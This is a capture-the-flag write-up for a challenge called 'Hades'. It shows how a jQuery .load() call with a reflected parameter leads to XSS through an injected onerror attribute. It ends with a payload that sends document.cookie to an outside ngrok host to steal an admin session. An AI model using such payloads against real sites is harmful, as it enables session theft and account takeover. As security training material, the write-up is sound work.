Hades
jQuery-facilitated XSS
Overview
Don't stop retrying!
This is basically a site that uses jQuery a bunch of AJAX requests to dynamically load the page content. For example, let's load the "news" category at ?cat=news.

Observing the HTML response, the news string is reflected twice in the JavaScript.
<script>
console.log('cat in url');
$('#ajax-load').load('/ajax/articles?cat=news');
$('.search-filter ul li.tag').removeClass('active');
$('.search-filter ul li[data-id="news"]').addClass('active');
$('.search-filter ul li.tag').click(function() {
$('.search-filter ul li.tag').removeClass('active');
$(this).addClass('active');
$('#ajax-load').html('<hr/><div class="loading"></div><hr/>');
$('#ajax-load').load('/ajax/articles-results?cat=' + $(this).data('id'));
});
</script>Trying to use a single quote to break out of the string (/?cat=news') doesn't work - a \ is prepended to it.
$('#ajax-load').load('/ajax/articles?cat=news\'');After doing some testing, I found that the \ character isn't escaped and /?cat=news\\' breaks out of the string.
However, because any () characters are removed and subsequent quotes are still escaped, I couldn't produce valid JavaScript after breaking out of the string.
$('#ajax-load').load('/ajax/articles?cat=test\\'+alert``');
$('.search-filter ul li.tag').removeClass('active');
$('.search-filter ul li[data-id="test\\'+alert``"]').addClass('active');It seems that we need to find another way to achieve XSS.
Getting XSS
The first line of the JavaScript tells jQuery to fetch /ajax/articles?cat=news and set its contents as the HTML of the #ajax-load element.
$('#ajax-load').load('/ajax/articles?cat=news');Because we also control the cat parameter in this second request, we can try to find a HTML injection vector in /ajax/articles and inject it into #ajax-load.
The following request
/ajax/articles?cat=asdf"x="injects an attribute into the <img> element in the response.
<noscript>
If you can't see anything, you have to enable javascript
<img src="/images/error.jpg" alt="selected category asdf"x="" />
</noscript>Looking at jQuery's .load() documentation, we find an interesting feature that allows us to specify a specific portion of the remote document that we want to insert.

This allows us to get rid of the pesky <noscript> tag end only load the <img> element inside.
/?cat=random"onerror="alert`` imgwill render
<img src="/images/error.jpg" alt="selected category random"onerror="alert``" />and give us XSS.
We can use the following payload to steal the admin's cookie and get the flag.
/?cat=random"onerror="window.location=`https://f5e6-49-245-33-142.ngrok.io?${document.cookie}` img Last updated
Was this helpful?